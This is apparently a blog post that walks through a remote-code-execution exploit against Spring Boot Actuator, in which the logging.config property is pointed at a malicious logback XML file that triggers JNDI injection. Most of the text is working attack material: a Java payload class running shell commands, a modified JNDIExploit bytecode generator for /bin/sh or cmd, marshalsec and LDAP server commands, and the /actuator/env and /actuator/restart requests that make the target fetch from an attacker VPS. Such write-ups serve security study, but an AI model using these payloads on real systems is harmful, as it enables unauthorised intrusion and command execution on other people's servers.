Spring Boot restart logging.config logback JNDI RCE vulnerability recurrence

Disclaimer: This article is for learning and reference only. All resources involved in it are from the Internet. Please do not use them for any illegal acts, otherwise you will bear the corresponding consequences yourself, and I do not assume any legal and joint and several liabilities.

build environment

Vulnerability environment: https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-restart-rce

IDEA loads the source code and configures a Spring boot to run the environment

insert image description here

Conditions of use

You can POST to request the /env interface of the target website to set properties.
You can POST to request the /restart interface of the target website to restart the application
. Common JNDI injection is affected by the target JDK version. jdk < 6u201/7u191/8u182/11.0.1 (LDAP), but the relevant environment can Bypass
⚠️ The target can request the attacker's HTTP server (the request can go out of the Internet), otherwise restart will cause the program to exit abnormally
⚠️ If the HTTP server returns a file containing malformed xml syntax content, the program will exit abnormally
⚠️ The object returned by the JNDI service needs Implement the javax.naming.spi.ObjectFactory interface, otherwise the program will exit abnormally

Vulnerability principle

1. The target machine sets the logback log configuration file URL address through the logging.config property
2. After restarting the application, the program will request the URL address to obtain the content of the malicious xml file
3. The target machine uses saxParser.parse to parse the xml file (this leads to the xxe vulnerability )
4. Use the insertFormJNDI tag that logback relies on in the xml file to set the external JNDI server address
5. The target machine requests a malicious JNDI server, resulting in JNDI injection and RCE vulnerability

Use method one: marshalsec

1. Prepare the java code to be executed

Write the java code (CommandRaw.java) used to verify the existence of the vulnerability

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import javax.naming.Context;
import javax.naming.Name;
import java.io.File;
import java.io.IOException;
import java.util.Hashtable;

public class CommandRaw extends AbstractTranslet implements javax.naming.spi.ObjectFactory{
    
    
    private static String cmd = "calc.exe";

    public CommandRaw() {
    
    
        String[] var1;
            var1 = new String[]{
    
    "cmd", "/C", cmd};
        try {
    
    
            Runtime.getRuntime().exec(var1);
        } catch (IOException var3) {
    
    
            var3.printStackTrace();
        }

    }

    public void transform(DOM var1, SerializationHandler[] var2) throws TransletException {
    
    
    }

    public void transform(DOM var1, DTMAxisIterator var2, SerializationHandler var3) throws TransletException {
    
    
    }

    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable environment) throws Exception {
    
    
        return new Object();
    }
}

Compile CommandRaw.java

javac CommandRaw.java

Then copy the generated CommandRaw.class file to the attacker VPS.

2. Managed xml files

Write the example.xml file and place it on the VPS in the same directory as the CommandRaw.class file

<configuration>
  <insertFromJNDI env-entry-name="ldap://192.168.10.171:1389/TomcatBypass/Command/Base64/Y2FsYy5leGU=" as="appName" />
</configuration>

In the example.xml directory, use python to start a simple http service

python3 -m http.server 8080

3. Set up a malicious ldap service

Download marshalsec, and use the following command to set up the corresponding ldap service:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://your-vps-ip:8080/#CommandRaw 1389

4. Set the logging.config property

POST /actuator/env
Content-Type: application/json

{
    
    "name":"logging.config","value":"http://your-vps-ip/example.xml"}

insert image description here

5. Restart the application

POST /actuator/restart
Content-Type: application/json

insert image description here

insert image description here

insert image description here

Method 2: JNDIExploit

1. Download JNDIExploit: https://github.com/Jeromeyoung/JNDIExploit-1

However, in order for the program to exit without throwing an error, it is necessary to modify the code used in a targeted manner, such as modifying the JNDIExploit/src/main/java/com/feihong/ldap/template/CommandTemplate.java file to return the class bytecode Inherit the javax.naming.spi.ObjectFactory interface

For example, replace the generate method in the original CommandTemplate.java file with the following code:

public void generate(){
    
    
		ClassWriter cw = new ClassWriter(0);
		FieldVisitor fv;
		MethodVisitor mv;
		AnnotationVisitor av0;

		cw.visit(V1_6, ACC_PUBLIC + ACC_SUPER, className, null, "com/sun/org/apache/xalan/internal/xsltc/runtime/AbstractTranslet", new String[]{
    
    "javax/naming/spi/ObjectFactory"});

		{
    
    
			fv = cw.visitField(ACC_PRIVATE + ACC_STATIC, "cmd", "Ljava/lang/String;", null, null);
			fv.visitEnd();
		}
		{
    
    
			mv = cw.visitMethod(ACC_PUBLIC, "<init>", "()V", null, null);
			mv.visitCode();
			Label l0 = new Label();
			Label l1 = new Label();
			Label l2 = new Label();
			mv.visitTryCatchBlock(l0, l1, l2, "java/io/IOException");
			Label l3 = new Label();
			mv.visitLabel(l3);
			mv.visitLineNumber(19, l3);
			mv.visitVarInsn(ALOAD, 0);
			mv.visitMethodInsn(INVOKESPECIAL, "com/sun/org/apache/xalan/internal/xsltc/runtime/AbstractTranslet", "<init>", "()V", false);
			Label l4 = new Label();
			mv.visitLabel(l4);
			mv.visitLineNumber(21, l4);
			mv.visitFieldInsn(GETSTATIC, "java/io/File", "separator", "Ljava/lang/String;");
			mv.visitLdcInsn("/");
			mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/String", "equals", "(Ljava/lang/Object;)Z", false);
			Label l5 = new Label();
			mv.visitJumpInsn(IFEQ, l5);
			Label l6 = new Label();
			mv.visitLabel(l6);
			mv.visitLineNumber(22, l6);
			mv.visitInsn(ICONST_3);
			mv.visitTypeInsn(ANEWARRAY, "java/lang/String");
			mv.visitInsn(DUP);
			mv.visitInsn(ICONST_0);
			mv.visitLdcInsn("/bin/sh");
			mv.visitInsn(AASTORE);
			mv.visitInsn(DUP);
			mv.visitInsn(ICONST_1);
			mv.visitLdcInsn("-c");
			mv.visitInsn(AASTORE);
			mv.visitInsn(DUP);
			mv.visitInsn(ICONST_2);
			mv.visitFieldInsn(GETSTATIC, className, "cmd", "Ljava/lang/String;");
			mv.visitInsn(AASTORE);
			mv.visitVarInsn(ASTORE, 1);
			Label l7 = new Label();
			mv.visitLabel(l7);
			mv.visitJumpInsn(GOTO, l0);
			mv.visitLabel(l5);
			mv.visitLineNumber(24, l5);
			mv.visitFrame(F_FULL, 1, new Object[]{
    
    className}, 0, new Object[]{
    
    });
			mv.visitInsn(ICONST_3);
			mv.visitTypeInsn(ANEWARRAY, "java/lang/String");
			mv.visitInsn(DUP);
			mv.visitInsn(ICONST_0);
			mv.visitLdcInsn("cmd");
			mv.visitInsn(AASTORE);
			mv.visitInsn(DUP);
			mv.visitInsn(ICONST_1);
			mv.visitLdcInsn("/C");
			mv.visitInsn(AASTORE);
			mv.visitInsn(DUP);
			mv.visitInsn(ICONST_2);
			mv.visitFieldInsn(GETSTATIC, className, "cmd", "Ljava/lang/String;");
			mv.visitInsn(AASTORE);
			mv.visitVarInsn(ASTORE, 1);
			mv.visitLabel(l0);
			mv.visitLineNumber(28, l0);
			mv.visitFrame(F_APPEND, 1, new Object[]{
    
    "[Ljava/lang/String;"}, 0, null);
			mv.visitMethodInsn(INVOKESTATIC, "java/lang/Runtime", "getRuntime", "()Ljava/lang/Runtime;", false);
			mv.visitVarInsn(ALOAD, 1);
			mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Runtime", "exec", "([Ljava/lang/String;)Ljava/lang/Process;", false);
			mv.visitInsn(POP);
			mv.visitLabel(l1);
			mv.visitLineNumber(31, l1);
			Label l8 = new Label();
			mv.visitJumpInsn(GOTO, l8);
			mv.visitLabel(l2);
			mv.visitLineNumber(29, l2);
			mv.visitFrame(F_SAME1, 0, null, 1, new Object[]{
    
    "java/io/IOException"});
			mv.visitVarInsn(ASTORE, 2);
			Label l9 = new Label();
			mv.visitLabel(l9);
			mv.visitLineNumber(30, l9);
			mv.visitVarInsn(ALOAD, 2);
			mv.visitMethodInsn(INVOKEVIRTUAL, "java/io/IOException", "printStackTrace", "()V", false);
			mv.visitLabel(l8);
			mv.visitLineNumber(33, l8);
			mv.visitFrame(F_SAME, 0, null, 0, null);
			mv.visitInsn(RETURN);
			Label l10 = new Label();
			mv.visitLabel(l10);
			mv.visitLocalVariable("var1", "[Ljava/lang/String;", null, l7, l5, 1);
			mv.visitLocalVariable("var3", "Ljava/io/IOException;", null, l9, l8, 2);
			mv.visitLocalVariable("this", "L" + className + ";", null, l3, l10, 0);
			mv.visitLocalVariable("var1", "[Ljava/lang/String;", null, l0, l10, 1);
			mv.visitMaxs(4, 3);
			mv.visitEnd();
		}
		{
    
    
			mv = cw.visitMethod(ACC_PUBLIC, "transform", "(Lcom/sun/org/apache/xalan/internal/xsltc/DOM;[Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;)V", null, new String[]{
    
    "com/sun/org/apache/xalan/internal/xsltc/TransletException"});
			mv.visitCode();
			Label l0 = new Label();
			mv.visitLabel(l0);
			mv.visitLineNumber(36, l0);
			mv.visitInsn(RETURN);
			Label l1 = new Label();
			mv.visitLabel(l1);
			mv.visitLocalVariable("this", "L" + className + ";", null, l0, l1, 0);
			mv.visitLocalVariable("var1", "Lcom/sun/org/apache/xalan/internal/xsltc/DOM;", null, l0, l1, 1);
			mv.visitLocalVariable("var2", "[Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;", null, l0, l1, 2);
			mv.visitMaxs(0, 3);
			mv.visitEnd();
		}
		{
    
    
			mv = cw.visitMethod(ACC_PUBLIC, "transform", "(Lcom/sun/org/apache/xalan/internal/xsltc/DOM;Lcom/sun/org/apache/xml/internal/dtm/DTMAxisIterator;Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;)V", null, new String[]{
    
    "com/sun/org/apache/xalan/internal/xsltc/TransletException"});
			mv.visitCode();
			Label l0 = new Label();
			mv.visitLabel(l0);
			mv.visitLineNumber(39, l0);
			mv.visitInsn(RETURN);
			Label l1 = new Label();
			mv.visitLabel(l1);
			mv.visitLocalVariable("this", "L" + className + ";", null, l0, l1, 0);
			mv.visitLocalVariable("var1", "Lcom/sun/org/apache/xalan/internal/xsltc/DOM;", null, l0, l1, 1);
			mv.visitLocalVariable("var2", "Lcom/sun/org/apache/xml/internal/dtm/DTMAxisIterator;", null, l0, l1, 2);
			mv.visitLocalVariable("var3", "Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;", null, l0, l1, 3);
			mv.visitMaxs(0, 4);
			mv.visitEnd();
		}
		{
    
    
			mv = cw.visitMethod(ACC_PUBLIC, "getObjectInstance", "(Ljava/lang/Object;Ljavax/naming/Name;Ljavax/naming/Context;Ljava/util/Hashtable;)Ljava/lang/Object;", "(Ljava/lang/Object;Ljavax/naming/Name;Ljavax/naming/Context;Ljava/util/Hashtable<**>;)Ljava/lang/Object;", new String[]{
    
    "java/lang/Exception"});
			mv.visitCode();
			Label l0 = new Label();
			mv.visitLabel(l0);
			mv.visitLineNumber(43, l0);
			mv.visitTypeInsn(NEW, "java/lang/Object");
			mv.visitInsn(DUP);
			mv.visitMethodInsn(INVOKESPECIAL, "java/lang/Object", "<init>", "()V", false);
			mv.visitInsn(ARETURN);
			Label l1 = new Label();
			mv.visitLabel(l1);
			mv.visitLocalVariable("this", "L" + className + ";", null, l0, l1, 0);
			mv.visitLocalVariable("obj", "Ljava/lang/Object;", null, l0, l1, 1);
			mv.visitLocalVariable("name", "Ljavax/naming/Name;", null, l0, l1, 2);
			mv.visitLocalVariable("nameCtx", "Ljavax/naming/Context;", null, l0, l1, 3);
			mv.visitLocalVariable("environment", "Ljava/util/Hashtable;", "Ljava/util/Hashtable<**>;", l0, l1, 4);
			mv.visitMaxs(2, 5);
			mv.visitEnd();
		}
		{
    
    
			mv = cw.visitMethod(ACC_STATIC, "<clinit>", "()V", null, null);
			mv.visitCode();
			Label l0 = new Label();
			mv.visitLabel(l0);
			mv.visitLineNumber(17, l0);
			mv.visitLdcInsn(cmd);
			mv.visitFieldInsn(PUTSTATIC, className, "cmd", "Ljava/lang/String;");
			mv.visitInsn(RETURN);
			mv.visitMaxs(1, 0);
			mv.visitEnd();
		}
		cw.visitEnd();

		bytes = cw.toByteArray();

	}

After compiling the program (compile command):

mvn clean package -DskipTests

You can start the ldap service with the command:

java -jar JNDIExploit-1.3-SNAPSHOT.jar -i 192.168.10.171

insert image description here
2. Managed xml files

This step is consistent with using method 1 to host the xml file, so I won’t repeat it here

3. Set the logging.config property

POST /actuator/env
Content-Type: application/json

{
    
    "name":"logging.config","value":"http://your-vps-ip/example.xml"}

4. Restart the application

POST /actuator/restart
Content-Type: application/json

insert image description here
insert image description here
insert image description here

Guess you like

Origin blog.csdn.net/guo15890025019/article/details/129504572